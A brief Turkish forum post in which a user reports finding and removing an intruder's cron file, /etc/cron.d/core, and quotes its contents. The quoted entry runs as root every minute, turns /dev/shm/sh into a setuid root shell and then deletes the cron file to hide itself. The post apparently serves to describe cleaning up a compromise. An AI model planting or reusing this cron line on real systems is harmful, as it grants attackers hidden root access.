sorunu çözdüm exploit sanırım core dosyalarının içinde
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root chown root /dev/shm/sh ; chmod 4755 /dev/shm/sh ; rm -f /etc/cron.d/core


iberelerini silince olay cözüldü